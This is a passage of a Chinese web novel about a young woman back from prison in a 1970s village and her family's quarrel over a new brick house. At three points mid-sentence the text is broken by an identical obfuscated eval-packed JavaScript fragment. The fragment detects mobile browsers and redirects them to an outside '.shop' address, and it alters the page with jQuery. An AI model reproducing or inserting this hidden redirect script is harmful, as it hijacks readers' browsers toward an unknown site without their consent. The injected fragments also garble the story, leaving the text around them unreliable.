方感勇撕了一半递给姜四儿,故意用手背不经意间碰到姜四儿的手。 肌肤接触的一瞬间,方感勇心花怒放。 姜四儿没察觉到对方的龌龊心思,自然地接过了那半张烙饼,“谢谢姐夫。” ‘果然是个随便的女人。’方感勇心想。 外面人多,出去吃太招摇,姜四儿和方感勇躲在厨房偷吃烙饼。 半张饼吃完姜四儿还意犹未尽,这饼虽然只加了一点糖,但对于常年没吃糖的人来说是极大的诱惑。 姜四儿又伸手拿饼,方感勇赶紧也伸手过去,‘不小心’再次碰到姜四儿的手。 “这张咱们也平分吧。”方感勇笑着说。 说完他半包着姜四儿的手在那撕饼。 姜四儿抽出手离远了些。 但已经迟了,站在厨房门口的姜老三看到了这一幕。 姜老三来厨房打包一些饭菜给要回家的亲戚们,没想到就撞到了这一幕。 反手把厨房木门关上,姜老三走了进去,“四妹,你果然死性不改。” 仗着张漂亮脸蛋到处吊男人。 姜老三狠狠推了一把姜四儿。 姜四儿被推得往后退,退到散落一地的木柴上站不稳,直接跌倒在地。 看到她这狼狈的样子,方感勇一个字也不说,躲在媳妇儿身后。 姜老三居高临下看着倒在地上的妹妹,“谁敢勾引我男人,我就弄死谁,你以后离我男人远点。” “我没勾引。”姜四儿小声顶嘴。 “你不用狡辩,你一个坐过牢的人,听你说话都晦气。我是你姐,我好说话,这次放过你。出了家里的门,你在外勾搭男人,那些婆娘可就没我这么好说话了。” 姜老三放完狠话又打了方感勇几拳头泄愤,然后让他跟自己出去送客。 “四妹,你就在这待着吧,爸妈不想让你出去送客,你坐过牢,出去抛头露面的不合适。”姜老三嘲讽。 院子里吃完饭的乡亲和亲戚们已经三三两两地开始离席,大家都有要事,要么出工干活要么回家去,有的亲戚是从县城或其他公社赶来的,还得走路回家,时间紧迫。 “回去晚了一路上也不安全,我就不虚留你们了。”姜木匠抹着眼泪和这些亲戚们握手。 人老了就格外惦记亲情。 春花也在一旁拉着亲戚们的手,“这么大老远的赶过来,辛苦你们了,今天太多人了,没让你们吃好。” “哪有,说些傻话,”亲戚们笑着寒暄,“今天菜很丰盛,吃得很好。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17586542|205296||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ‘能吃得不好吗,厨房里预留的好菜都被打包走了。’方感勇心里吐槽。 寒暄许久后,姜木匠终于舍得放手让亲戚们离开。 就在亲戚们转身离开后,方感勇松了口气,自言自语道:“终于走了。” “…………” 还没走远的亲戚们听到了这话,回头看了一眼新郎。 姜家其他人全身像被仙法定住,僵硬得像块石头不知该怎么反应。他们也没想到方感勇突然冒出来这么一句,还被听到了。 等亲戚们彻底走远不见身影,姜木匠回过神来,气得手指头发抖。 “你啊你。”回过神来的姜老三作势打了方感勇几下,怨他不会说话。 春花拉着老伴儿,怕他在大庭广众下发火闹出笑话。 姜老三很头疼,“爸,你别生气,勇哥读书人,性子直,书呆子一个,不懂人情世故。” 说完,姜老三扯了扯老公的手,“走吧,客人都散了,咱们去新房布置布置。” 小两口手牵着手要走,最好面子的姜木匠忍无可忍,“那个新房你们不用住了,给你四妹。” 之所以做下这个决定,除了因为对四女儿感到愧疚,他也是存心的想治一治这三女婿。 —————— S市,一辆自行车停到一家国营修车铺门前。 贺明峥从自行车上下来,眼神环顾四周,“师傅,打气。” 人师傅正和小学徒一起给别的自行车补胎,懒洋洋指了指角落的气筒子,“你自己忙活吧,一个胎两分钱,两个胎三分钱。” 贺明峥拿了气筒给车胎打气,两个轮胎,打气三分钱。 给了钱以后,贺明峥也没走,靠在门边静静站着发呆。 他今天是特意绕远路来的这里,这家修车铺在电影院附近。 这事困扰了他几天,他就是想来这里看看,待一待。 真的来到这儿,他烦躁了几天的心才静下来。 这地方姜四儿来过,所以他也想来。 在车铺里给师傅打下手的学徒打量了贺明峥几眼,开口问,“同志,你姓贺吗?” 贺明峥有些惊讶地点头,“你是?” “你全名叫什么?” “贺明峥。” “那就对了,”憨厚的小学徒在一个工具箱里找到一封信,“是一个漂亮的女同志让我给你的。” 几天前,那个漂亮的女同志在他们修车铺借了补胎的工具,还留给他们一封信。 “小师傅,这几天会有一个叫贺明峥的男人来你们修车铺,你见到他以后帮我把信给他。” “有照片吗?要不然我怎么认得出来?” “你肯定能认出来,他长得很帅很高,一米八七,腿很长,一眼就能认出来。” “长这么高的确实少见,行,那我明白了。但,要是这个人一直没来怎么办?” “他肯定会来。” 当时那个漂亮女同志笃定又难过的神情,小学徒记忆犹新,那么倾国倾城的女同志,到底是什么样的男人舍得让她难过。 如今亲眼见到贺明峥本人,小学徒心里一块石头落地,任务终于完成。 贺明峥拆开信封,里面的信纸写着三个字, [大骗子] 明明说过会一直爱她的,明明以前对她千好万好,转头来说放下就放下,骗子,大骗子。 6. 重修 姜木匠决定要把新的独立小砖房给姜四儿,直接点燃了姜老三的怒火。 一时间,方感勇见识到了自己这个媳妇儿的真实性格。 只见姜老三拍桌子大吼大叫,骂爹骂娘,怒吼声传遍周围几个生产队。 刚吃完席走远的乡亲们纷纷站在路上,竖起耳朵听姜家的动静。 对这一切感到最为震撼的是方感勇以及那些知青们,他们知青以前只在老人口里听说姜老三脾气不好,但是一直不觉得,美人嘛,发发小脾气那都是很可爱的。 而今天,一口气听完姜老三骂的脏话,他们可算是开了眼了。怎么会有这样的孩子,骂起父母来什么脏话都能说出口。 方感勇突然十分后悔娶了这么个姑娘,第一次见识到姜老三的真实面目,他很厌恶。 更令方感勇震惊的是,姜老三都大肆辱骂亲爹亲娘了,结果姜木匠和春花只是一个劲地瞪眼怒视,并不动手教育。 这要是方感勇自己家,他要是敢骂自己亲爹娘,早就被亲爹娘给打得屁股开花了。 跑到姜家院子大门口看热闹的几个知青小声议论, “看来这姜家家教真不行。” “我要是敢这么骂我爸妈,我爸妈早打死我了。” “都是惯的。” ………… 知青们指指点点,带着小妹姜小芯回来的姜二丫挥手赶走这些看热闹的知青,顺手把院子大门给掩上,隔绝外面人看笑话的视线。 今天三妹结婚,院子里吃饭的人多,没地方落脚,姜二丫帮忙招待客人,又要时时注意姜小芯的安全。 好不容易送走客人,姜小芯又拉着姜二丫去水闸那里玩。 玩得正开心呢,隔老远都能听到家里三妹的骂声。 家里几个姐妹,姜二丫最烦的就是老三。 老三脾气大,在外面怂得很,在家里特喜欢发脾气,一点不顺心就大吼大叫骂天骂地,二丫可烦三妹了。 现在又听到老三吵嚷,二丫把院子大门一关,带着小妹姜小芯蹲在一旁事不关己地看笑话,幸灾乐祸。 三妹不开心她姜二丫就开心。 注意到院子里方感勇嫌弃地离三妹远了点,姜二丫心里哈哈大笑。 这妹夫应该是第一次见识到三妹的真本事,哈哈哈。 “……凭什么把我的新房给四妹?凭什么!!!我ri你妈!!!!”姜老三怒气冲冲的一张脸满是扭曲,扯着大嗓子歇斯底里。 姜家人都知道老三的性格,知道和她对上没意思也骂不过她,所以都沉默。 但方感勇实在忍不下去了,他讲究读书人的体面,扯了扯媳妇儿的手让她别骂了。 “闭嘴!!!” 姜老三发脾气的时候没有理智六亲不认。 就算是她喜欢的老公来劝解也没用。 被媳妇儿这一嗓子给吼懵了,方感勇第一时间感受到的是男子尊严受损,第二想法是后悔,后悔今天才看清姜老三的真面目。 即使姜老三再漂亮,可她大吼大骂时脸上目眦欲裂的表情很让他反感。 春花抿着嘴一个劲地叹气,心里埋怨老伴儿惹出来这些事。 姜木匠死死盯着三女儿,瞪着她。他怎么就生了这么个孽障,十里八乡也见不到比这三女儿还混账的。 姜木匠最爱在亲戚面前要面子,今天吃席,新郎方感勇没给姜家亲戚面子,这触及到了姜木匠的底线。 所以那独立的新砖房姜木匠是绝对不会给新娘新郎的,他要给方感勇一个教训。 不管姜老三这次怎么发脾气骂人,姜木匠都不为所动。 头一回见自己骂人没效果,姜老三急了,猛地冲过去捶打亲爸,然后突然动手一推,把坐在板凳上的姜木匠推翻。 “…………” 姜家所有人被这变故给震惊到。 老三再怎么骂人骂脏话,也从来没动过手,现在竟然动手了。 春花不可置信,女儿打老子,天理不容。 本来还要为三女儿说话的春花也一时间寒了心。 姜二丫坐不住了,跑过去观察爸的情况。 姜四儿在扶起老爸以后,和三姐打了起来。三姐竟然敢动手打爸爸,姜四儿忍不了。 大队的知青点,几个生产队的知青聚集在此处,此时没上工的知青们聚集在一起讨论姜家的事。 “你们今年新来的,可能不了解,我在这儿待了四年了,我清楚得很,”有个老知青给她们讲解,“姜家有5个女儿,分别是姜大妞、姜二丫、姜老三、姜四儿、姜小芯,这5个女儿各个都长得好看。” 老知青喝口热茶,继续说,“姜大妞呢,是供销社的职工,出了名的温婉美人,十里八乡的问一问,没有哪个男人不想娶她的。姜大妞温柔又孝顺,嫁给了公社刘副主任的独生子。 姜二丫呢,性格飒爽,刀子嘴豆腐心,没脑子。她眼光高,早就放话非城里有钱人不嫁。” 其他小知青听到这里哈哈一笑,果真没脑子,真想嫁城里有钱人也不能直说,得藏着掖着。毕竟,哪个城里有钱人乐意听这种直白的话。 “姜老三,就是今天的新娘子,哎呦,外面怂家里横,今天你们也见识到了,她不发脾气还好,一发脾气整个一泼妇。姜老三对家里人脾气大,但对外人还是很不错的。” 最后就是姜四儿了,也是其他知青最关心的一个,关心她怎么坐牢了。 “姜四儿几年前动手伤了人,坐了几年牢,今年22岁,还是单身,但估计找不到对象了,谁会要一个坐过牢的女人。”老知青说起这人来停顿了几秒。 老知青不太喜欢姜四儿,或者说姜家所有女儿里面,老知青最不喜欢的就是姜四儿。 “姜四儿懒,馋,”老知青皱眉,“她身边经常围着一群男同志献殷勤,走到哪儿就有一群男同志跟到哪儿,总之不是什么好东西。” 最后就是姜小芯,是姜木匠最后一个孩子,四十出头得来的孩子,是惊喜,老来子。 姜小芯今年才3岁,今天也是姜小芯的3岁生日。 姜家几年前可是穷得不行,家里几个女儿除了姜大妞干事利落勤快,其他几个女儿都不是挣工分的料,导致姜家工分挣得不多,给国家交公粮后,姜家分到手的口粮少之又少,一家人经常吃不饱。 自从姜大妞嫁给了公社副主任的儿子,工作前途都有了,又靠副主任的关系把妹妹姜二丫送去食品站,姜家这才把日子过好。 这边知青点议论完姜家的事,那边姜家也暂时熄了火。 姜四儿和三姐打了一架,打成平手。 似乎是没料到一向无能的四妹敢和自己动手,姜老三在打完架后也开始后怕起来,自己竟然动手推了爸………… 有些理亏的姜老三不再骂脏话,只是一个劲地哭。 以前总帮着老三的春花今天寒了心,也一声不吭。于是,那独立小砖房就已经板上钉钉地给了姜四儿。 方感勇自诩读书人,学不会媳妇儿撒泼打滚那一套,开始讲道理, “爸,我们小两口也不是贪恋您那小砖房,只是今天到底是我们大喜的日子,而那小砖房也是您亲口允诺的。” 姜木匠板着脸,“亏你还是城里来的知识青年,我问你,你们知识青年考试的时候做题做错了会不会拿橡皮擦擦了重写?” 方感勇不解其意,皱眉,“当然会。” “那不就对了,”姜木匠理所当然道,“同样的道理,我之前是答应过你们,可我发现我错了,大错特错,你们小两口不配住那新房子,所以我现在改正错误,把新房子让给我四女儿。” “…………这……”方感勇语塞,觉得老丈人这是胡搅蛮缠不讲理。 方感勇重新换了说法,“姐妹不和说到底是做父母的偏心,我知道爸心疼四妹这几年受苦了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17586543|205296||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,可四妹坐牢是她活该,她犯了错坐牢是应该的,出狱后就该踏踏实实过日子,不应该再来抢姐姐的新房,搞得家里不和睦。” 姜二丫翘起二郎腿坐着,听了妹夫的话心里咯咯笑,原本以为城里来的知识青年不会是个爱钱的,现在看来也就那样。 那新修的小砖房虽然小,但是一个人住是很惬意的。 而姜家这老屋子是木板房,房间太旧,报纸糊窗。 也难怪方感勇惦记那砖房。 不过这都和她姜二丫没关系,不管房子给三妹还是四妹,都和她没关系,所以她一直都在以看热闹的心情看着这些人吵架打架。 姜木匠这几十年也不是白活的,听了女婿泼脏水的话立马驳了回去,“手心手背都是肉,我老头子一碗水端得很平。至于你小子,我明白了,说这么多无非就是想和小姨子抢砖房。一个大老爷们儿,自己没有建房的能力,在城里混不下去,全靠着下乡混日子才能有口饭吃,现在还惦记小姨子的房子,说出去也不怕人笑话。” “你!”方感勇没想到老丈人这么无赖,说不过自己就转移话题诋毁,无耻至极。 方感勇拎起行李出了姜家,姜老三不敢相信爸妈这么过分,哭着跑出去哄老公。 —————— 香江,一个1970年从大陆游到这里,躲避检查,到达市区合法拿到身份证的男人,在短短几年时间从洗碗工成为了香江有名气的才子。 才子这几年不仅在报刊上连载写稿子挣得天价稿费,还写影视剧本。 他现在一部剧剧本的报酬不低于2万,更不提还有剧本爆火后其他的后续收益。 穿着定制西装的贺姓才子站在窗边抽着烟,旁边一个手拿迪奥包包的女人轻手轻脚走过去一把搂住,撒娇让男人再给她买新看上的一款卡地亚腕表。 用钱打发走女人,贺才子终于等到前来赴约的好友。 激动地给好友倒茶递上,贺才子问道:“手续都办好了吗,你什么时候去大陆?” “后天我们团队会出发,你放心,你交代给我的事我都清楚,我这次过去大陆会顺路看看你儿子。不过,你怎么不自己回去看他?” 贺才子苦笑着摇头,“我是偷,渡出来的,贸然回去怕给他带去麻烦。而且,我身边现在有了别的女人,担心露出破绽被那小子看出来。” “你老婆都死了几年了,你儿子总不至于不让你再找。” “那可说不定,他和他妈关系一向很亲。他现在年轻,正是搞事业的时候,我不回去打扰他。” “行吧,随你。”好友叹道。 几天后好友去大陆有工作在身,抽空去了一趟S市,给贺才子的儿子贺明峥送去一堆东西。 不管是流苏长裙还是女式牛仔裤,都是贺明峥也不认识的款式和材质,大陆很少有人穿这些。 更别说精致首饰盒里放着的梵克雅宝的首饰和迪奥的手拿包,每一样贺明峥都不认识。 但他知道这是给女同志用的。 “叔,这些东西我用不上。”贺明峥实话实说,他是男人。 给他带东西的长辈哈哈大笑,“你当然用不上,这些都是你爸给你对象的东西。你爸说以前棒打鸳鸯不让你喜欢那乡下姑娘,现在他知道错了,深刻反省了,说只要是你喜欢,他就认可。” 几年前下乡的贺明峥刚返城回来,就和家里说姜四儿的事,要娶她把她接到城里来。 这事遭到贺老爹的强烈反对。 如今物是人非,贺老爹无法陪在儿子身边,只希望儿子得偿所愿。 他记得这个儿子曾经最想要的无非就是那个叫姜四儿的乡下姑娘。 前几年贺老爹在香江苦苦挣扎,自身难保,如今有钱了,出手便很大方,给未来儿媳妇买的都是好东西。 贺明峥看着眼前的珠宝首饰,微微发怔。 他和姜四儿早已分开………… 7. 重修 姜四儿睡哪都无所谓,睡姜家老房子很热闹,一大家子在一起。 睡新房也很好,因为是新房。房间里的两扇窗还是荷叶形的漂亮玻璃窗,比起姜家老房子里的木头纸糊的窗子要好看得多。 既然爸妈现在统一了战线要把小砖房给她,她也不会拒绝。 小砖房给了姜四儿,老屋里东边那个几姐妹从小长大的房间不可避免地就要留给姜老三和方感勇夫妻俩。 这样的话,姜二丫就要带着小妹姜小芯睡在堂屋里,公共空间的堂屋后边用木板隔断了一个小小的杂物间,放些农具,现在姜家人把农具清理出来,让姜二丫和姜小芯住进这只够放一张床的小小空间。 最憋屈的莫属姜二丫和姜小芯了,从大房间沦落到堂屋小小的隔断房。 看着姜小芯,姜四儿不忍。 “要不这样,新房让给二姐和小芯住,我住这堂屋后边的杂物间。” 姜四儿觉得她提出这么懂事的条件,对大家都好。 却不想姜家其他人脸色突变。 几年前的伤人事故就是发生在这杂物间,他们担心姜四儿住在这触景生情,会想起真相。 由于心里有鬼,姜家人纷纷不赞同姜四儿的提议。 方感勇在一旁看得云里雾里,这姜家人真奇怪。姜四儿都要把新房让出来,姜二丫竟然不同意。 同样感到疑惑的还有姜四儿,转念一想觉得可能是家里人心疼自己,姜四儿心里暖暖的。 于是她又提议,“要不小芯和二姐一起过去和我住新房。” 其他人都觉得这样好,谁知遭到姜二丫的反对。 “不合适,姜小芯的事你们也知道,要是过去和四妹住,万一出了什么问题暴露出去……” 姜二丫欲言又止,方感勇啥也听不懂,其他姜家人却是一清二楚二丫话里的意思。 姜小芯身世有问题,不能被外人看出端倪。就怕和姜四儿待久了,会惹出事,到时候影响姜家的名声。 只有姜二丫知道,她拒绝四妹的提议是有自己的私心。 姜小芯可以说是姜二丫一手带大的,她付出了太多精力和时间。 渐渐的,姜二丫也对这孩子有了占有欲,觉得孩子应该和她最亲。 姜二丫不希望姜四儿和姜小芯多接触,担心自己不再是姜小芯最喜欢最依赖的人。 姜家人奇奇怪怪,一旁的方感勇完全融不进去。 他有种直觉,这姜家像是藏了些不能见光的秘密。 中午吃完饭其他人都下工去了,现在农忙,家家户户都很累。 就连姜二丫这个食品站的公职人员也会请假帮着出工干活,只为多给家里减轻点负担。 三岁的姜小芯也不能闲着,会去地里待着到处跑,帮着家里人捡鸡屎鸭屎或牛粪,做些小事。 唯一的清闲人姜四儿坐不住,要去帮忙,却遭到爸妈的反对。 “你就在家把饭菜做好,把菜园子打整好,”姜木匠和春花欲言又止地说出后面几个字,“别……别出门。” 十里八乡坐过牢的也就姜四儿一个,丢人呐。 比起让姜四儿出工挣工分,姜家人更希望姜四儿隐藏在家里不要出去见人,他们怕闲言碎语。 只要姜四儿减少存在感不出现在外人面前,外面的议论声渐渐也就会消停不少。 姜家人的想法没错,姜四儿也知道这样最好。但她就是心里难受。 在监狱的时候她最渴望自由,如今出狱回到家,她还是只能困在小小的屋子里,让她更加煎熬。 本以为出狱后就会一切变好,但处境仍旧很糟糕。 前几天姜老三结婚办席,姜大妞和老公孩子公婆正在赶来的路上,半路听说那个坐牢的姜四儿回来了,吓得姜大妞公婆心惊胆颤。 不想和坐过牢的人有任何牵扯,姜大妞公婆让全家直接返回,直到现在也没出现过,只是借口很忙托人送来给姜老三新婚的红包。 谁都不明说,但大家心里都清楚是因为姜四儿的出现,打乱了很多事。 这桩桩件件,都令姜四儿很是痛苦折磨,令她愧疚不安,想逃离却又没地方可去。 另一边很受折磨的还有姜家父母。 干活时周围乡亲们总要问上一句姜四儿的情况,搞得老两口低着头支支吾吾,场面很尴尬。 一批知青今天和他们一起收割稻谷,左手抓着一把稻谷,右手的镰刀顺势割下。 同样的动作,本地社员们和老知青都干得快而利落,只有新下乡的几个知青磨磨蹭蹭,干一会儿头晕要缓一缓,又干一会儿手麻了要缓一缓,再干一会儿中暑了要缓一缓。 生产队长看得直皱眉,把最磨蹭的一个女知青踹走了,让她去给大家打桶清凉的井水来。 姜二丫看到程月梨要走,大声喊道:“小程同志,去我家一趟,帮忙给小芯拿个斗笠。” 今天日头大,在田里跑来跑去的姜小芯小脸蛋儿通红,热得张嘴呼吸。 程月梨路过在树下和几个小伙伴一起休息玩闹的姜小芯,顺手把姜小芯拎了起来带走,“走,去你家给你拿斗笠去。” 程月梨是今年四月份刚下乡的年轻知青,一张脸肉嘟嘟的还没脱离学生的稚气,小孩子们都不怕她。 被这小知青一把拎走,姜小芯很苦恼,“可是我不热啊。” 小女娃吐词清晰,声音稚嫩,随着她抬头努力辩解的动作,她头上两条扎着红绳的小辫子一晃一晃的,可爱得紧。 程月梨摸摸她额头,再一甩,一手的汗珠甩了出去,“这叫不热?满头的汗。” “嘻嘻~”姜小芯人小鬼大,都不知道尴尬一词是什么意思,但是脸蛋儿上已经露出了尴尬的神情。 眼珠子一转,姜小芯小手指头蜷缩几下,转移话题,“姐姐,给你吃。” 姜小芯掏出兜里的一把新鲜绿色外壳的莲子,往程月梨嘴里塞。 吞下莲子,牙齿和舌尖发力,程月梨把莲子的外壳吐出。 她吃一颗,姜小芯喂一颗。 吃到半路,看到姜小芯另一只手里抓着小蜗牛,程月梨愣在原地。 一秒后,程月梨扔下小孩儿,趴在水沟边剧烈呕吐。 这臭小孩儿,手里抓了蜗牛还拿东西给她吃,脏死了。 乡下的孩子果然就是脏,亏得她还以为可爱乖巧的姜小芯和别的乡下孩子不一样。 “哕~”程月梨吐得肝肠寸断,吓坏了一旁的姜小芯。 一个挑着粪的大块头男知青听到动静走了过来,拿出随身带着的水壶递过去。 程月梨喝了几口水漱口,脸上都是吐得撕心裂肺的泪水。 听清楚事情原委后,大块头男知青哈哈大笑,“大惊小怪,又不是第一天下乡了。” 姜小芯不清楚发生了什么,只是关心地凑上前,歪着小脑袋认真看着程月梨。 小小的女娃儿,眼里隐忍着泪水,小小的眉头紧蹙,有委屈有不解。 三岁孩子又不傻,能明显感知到大人的情绪,不知道嫌弃是什么意思,但能感受到程月梨是在嫌弃自己。 一大一小这么互相对视着,程月梨有些不好意思起来,她不该嫌弃小娃儿嫌弃得这么明显。 这一大一小都不怎么开心,大块头男知青突然发现了什么好玩的,笑道:“月梨同志,你和姜家这小娃儿长得还挺像 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17586544|205296||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” “啊?” 近距离看了看这孩子的眉眼,程月梨疑惑,“我和小芯哪长得像了?” “嘿嘿,真的很像,我也不知道咋说,就刚刚一瞬间,我觉得你俩长得有点像,”大块头不好意思道,“可能是因为你俩都长得好看吧。” 程月梨听得脸一红,不太高兴,呸,这大块头耍流氓呢。 远离这男人,程月梨先是带着小孩儿去姜家拿斗笠。 程月梨进院子的一瞬间,姜四儿就条件反射地躲了回去,悄悄关上房门。 注意到姜四儿的举动,看她那小心翼翼的样子,程月梨觉得对方挺可怜的。 “四儿姐姐,你们家斗笠放在哪?”程月梨小声问,怕惊扰了这个像兔子似的可怜女同志。 姜四儿靠在门板上,声音不大不小,“你去厨房看看,应该挂在了厨房门板上。” 程月梨拿走斗笠盖在姜小芯头上,又直接在姜家水井打了一桶凉水。 双手提着水桶晃晃悠悠地到达田地里,那些干活的人纷纷涌了过来,从地上拿起自家的瓢,就往桶里舀水喝。 冰冰凉凉的井水流淌进身体里,下地干活的人重重喘气几下,身体舒服了不少。 一桶水很快见底,程月梨有些嫌弃地看着这些农民,一个个也不嫌脏,纷纷拿起自家的瓢往同一个水桶里舀水喝。 一旁的姜二丫舀了水,给自己喝一口又给姜小芯喝一口,轮流喝。 哕~程月梨捂着嘴走远。 喝完水,生产队长让大家坐在阴凉的树下待了一会儿休息。 姜木匠脸上神情不太好, 许久后叹了一口气,和身边的家人小声道:“刚才我去挑担子,正好碰到路过的邮递员,他给了我一封信。” 听到有信,姜家几个人的脸色都不好看。 姜老三率先开口,“又是那个女人写来的?” “嗯。”姜木匠烦躁地应了声。 那个女人,每次写信来都是为了要钱。 就在姜家人愁眉苦脸的时候,二丫突然一拍大腿,捂着姜小芯耳朵道:“遭了,这几年那女人写的信我们都放在了爸妈房间的抽屉里,四妹不会看到吧?” 要是被四妹看到了,那所有真相就会被揭开。 “噗~” 姜老三嗤笑一声。 “二姐,你这就多虑了,”姜老三哈哈笑,“四妹一个文盲,不识字。就算看到了信,她也认不出来写的什么内容。” 而且四妹手脚干净,从不偷鸡摸狗,更不会无缘无故地去爸妈房间里乱翻。 听了老三的嘲笑声,二丫心里不痛快。 四妹不识字那是因为家里的钱不够,家里不让四妹上学。老三花了家里那么多钱上学,有什么资格嘲笑四妹。 二丫翻了个白眼,比起老三,二丫对四妹其实没那么多不满。 四妹虽然懒,那只是没有自觉性,你只要喊她干活,她就会好好干。就算是陌生人找她帮忙,她也会帮。当然,如果没人喊她干活,她就会懒得要死啥也不干。总的来说,四妹人品上没啥大问题。 唯一让二丫不满的就是四妹从小不太洁身自好,身边总是围着一群男人。 周围的乡亲们,总觉得四妹不是好女人,不检点,偏偏四妹以前总顶嘴回去,“我没让他们跟着,是他们自己非得围在我身边。我一皱眉他们就哄着我,怕我生气。我一开心他们就得寸进尺,惹我生气。是他们自己不检点,讨人嫌。” 回想往事,姜二丫眯了眯眼,摸着姜小芯软软的头发。 就是因为四妹身边围着的男人太多了,其他姜家人至今不知道姜小芯的生父是谁。 8. 重修 姜四儿一个人在家也不想闲着,每天把家里打整得井井有条。几年前不听吩咐就不会干活的人,如今能自己主动找各种活干。 要知道农村里没有清闲,只要你勤快,永远能找到活干。这不,家里人不让姜四儿出门抛头露面,姜四儿就自己在家扎扫帚。 家里院子里厨房里还有堂屋里,地上遍地躺着扎扫帚的地肤草。 这种植物泛黄又没完全老化的时候用镰刀割下来,然后经过繁琐又重复的一次次程序,就能使其变成能扫地的扫帚。 姜四儿一个人坐在家,吹着后门吹来的北风,双手不停歇地麻利干着活。 快到饭点前半个小时,姜四儿就停下手头工夫,开始给家里人准备晚饭。 等生产队下工的人陆陆续续回来,春花看到满屋子的地肤草,客气笑道:“说好在家好好休息,这么累干什么?” “不累,你们下地干活比我辛苦。”姜四儿把灶台里温热的饭菜端上桌。 满头大汗的姜木匠回来后看到家里和谐的氛围,心里头十分开心,又夸了四儿几句。 四儿听到夸奖很高兴,干活干得更起劲。她觉得自己给家里人添麻烦了,坐牢出来的她怕家里人不欢迎自己给自己脸色看,所以拼命干活证明自己还有点价值。 第二天天还没亮,乡下的人都起床了,要么出工下地干活,要么在家忙活。 唯一还在床上睡觉的只有醒不来的小娃儿。 姜小芯是被阳光晃醒的,从睡梦中睁开眼看到了透过门缝射进来的阳光。 小家伙一个用力翻滚,滚到床边,然后熟练地将双腿双脚下地,蹭上那大红色的塑料拖鞋跑到堂屋外头,外头没人,院子里只听得到知了的叫声。 挠挠脸上被蚊子咬的包,姜小芯顺着厨房的动静走过去,趴在厨房高高的门槛上,好奇看着厨房里头正在做早饭的四姐。 她对这个刚回来没几天的四姐不熟悉,所以只是睁着圆溜溜的眼睛并不主动开口。 姜四儿正在从密封装满水的坛子里掏出一把酸豆角,起身的时候看到门槛上趴着的小娃儿,有些不自在地开口,“你.......你起床了啊。” 姜小芯点点头,问,“二姐姐呢。” 她从小被二姐带大的,见不到二姐就要问上一问。 莫名有些吃醋的姜四儿走过去单手把孩子抱进厨房, “你二姐去公社食品站了,要晚上才会回来。” 哦,姜小芯嘴角撇了撇,忍住眼泪。 看到姜小芯这么依赖二姐,姜四儿心酸得厉害。 【 “姜四儿,你真行,”贺明峥托了不少关系,终于得到机会来监狱探监,“我筹划着和你结婚,你却为了别的男人争风吃醋打伤人坐牢。” 姜四儿心虚地垂下头,她年少的时候是对刘途有过一点好感,可是仅此而已。在和贺明峥互相表明心意后,她一心一意地喜欢着贺明峥。 可是她不知道该怎么解释她伤了人的事。 她只记得家里发生了大好事,公社副主任的独子刘途要娶姜家大姐姜大妞,姜家所有人都开心得不行。 刘途家里很多亲戚都是大城市的职工,刘途家里条件也好,刘途长得周正又帅气。想嫁给刘途的女人不知道有多少,姜大妞能嫁给这样的对象,对贫穷的姜家是大好事。 当天姜木匠买了很多酒回来,连从不沾酒的姜四儿也喝了酒。 再之后的事情她就不记得了,因为她喝醉了。 她只知道酒醒后就被抓了,家里人说她喝醉后和隔壁大队的一个女同志起了冲突,伤了那女同志。 那女同志喜欢刘途的事情很多人都知道,而姜四儿年少时也对刘途表达过好感。 以至于这件事发生后,很多人都笑话她们为了一个男人争风吃醋打架。打架就打架吧,还拿了镰刀锄头去伤人。最后林姗受重伤被送去县城医院都不收,连夜送到了省城大医院,而姜四儿,自然是坐了牢。 回想起坐牢的原因,姜四儿心虚得很,觉得对不住贺明峥。 她本来还想和贺明峥说说孩子的事,可现在坐牢了,她怕说出来影响贺明峥的前途。 “为什么不说话?你………呵。”贺明峥气得冷哼摆脸色。 姜四儿知道他现在肯定很生气,因为贺明峥最爱吃醋,一吃醋就能冷战不理人。 “我喝醉了,我不是故意伤人的,”姜四儿向贺明峥表忠心,“我只喜欢你,不会和别人乱来,你相信我。” “喝醉?你从来不喝酒,怎么就喝醉了?看到你大姐要和刘途结婚,所以吃醋喝了酒?你真是好样的。”贺明峥气得踢了桌子没理智,被监狱看守的人带走。 在那之后,贺明峥再也没去见过她。 】 回忆起往事,姜四儿鼻头发酸,眼里也闪烁着泪花。 她现在看到酒就心里抗拒,她发誓再也不喝酒了。她就喝了那么一次,结果闯了大祸,失去了喜欢的男人,失去了让女儿喊一声妈妈的机会。 “四姐姐。”姜小芯轻轻拍打着姜四儿的脸让她回神。 小手指头指了指锅里,那里面快烧干了。 姜四儿赶紧往里面放水,又一股脑将一点陈米和一筐洗好的芋头放进去煮。 接下来的时间,姜四儿去水井边洗酸豆角。 